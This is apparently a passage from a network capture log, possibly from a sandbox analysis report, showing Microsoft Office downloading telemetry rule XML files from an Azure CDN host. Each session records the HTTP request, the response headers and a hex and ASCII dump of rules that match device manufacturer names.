2024-11-16 19:12:57 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:12:57 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:57 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 57a2975a-501e-0078-749b-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191257Z-16547b76f7fljddfhC1DFWeqbs00000003z000000000nfxz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:12:57 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:57 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:12:57 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:57 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: ec16a966-001e-0014-49c6-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191257Z-16547b76f7ff9zf4hC1DFW2pfc00000000v0000000006v7f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 19:12:57 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:58 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:12:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:58 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: fc33b24f-c01e-00a2-3209-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191258Z-1866b5c5fbbtpjhjhC1DFWr6tw000000031000000000mr7g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:12:58 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:58 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:12:58 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:58 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: da60be55-301e-0099-21b0-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191258Z-16547b76f7ff9zf4hC1DFW2pfc00000000t000000000dfb8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:12:58 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:58 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:12:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:58 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 4ab292c7-f01e-005d-268a-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191258Z-164f84587bf6n6jwhC1DFW90fn00000002d000000000basf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:12:58 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:58 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:12:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:58 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 9262989a-201e-0096-39af-36ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191258Z-1866b5c5fbb2cz68hC1DFW9ytc000000026000000000gr0u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:12:58 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:58 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:12:58 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:58 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: bd2de512-a01e-0050-6680-37db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191258Z-164f84587bfh9nvdhC1DFWmce0000000014g00000000ba2a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 19:12:58 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:59 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:12:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:59 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 5d8d4d17-101e-007a-18d2-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191259Z-1866b5c5fbb2zsfmhC1DFWenn000000000xg0000000047f9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:12:59 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:59 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:12:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:59 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 30929569-101e-008d-79ff-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191259Z-16547b76f7fk9g8vhC1DFW825400000003z000000000awq1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:12:59 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:59 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:12:59 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:59 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 4cebb1d6-301e-0099-6509-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191259Z-16547b76f7fr5rfnhC1DFW0am400000000r0000000007c7c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:12:59 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:59 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:12:59 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:59 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: ccb6a3a7-001e-0017-1ab5-370c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191259Z-16547b76f7fgfpmjhC1DFWw6ec00000002ng00000000edvk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:12:59 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:59 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:12:59 UTC	498	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:59 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 7d8b8a82-001e-0066-1ad2-37561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191259Z-1866b5c5fbbzzh8chC1DFWdrc400000002ug00000000ffnh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-16 19:12:59 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" 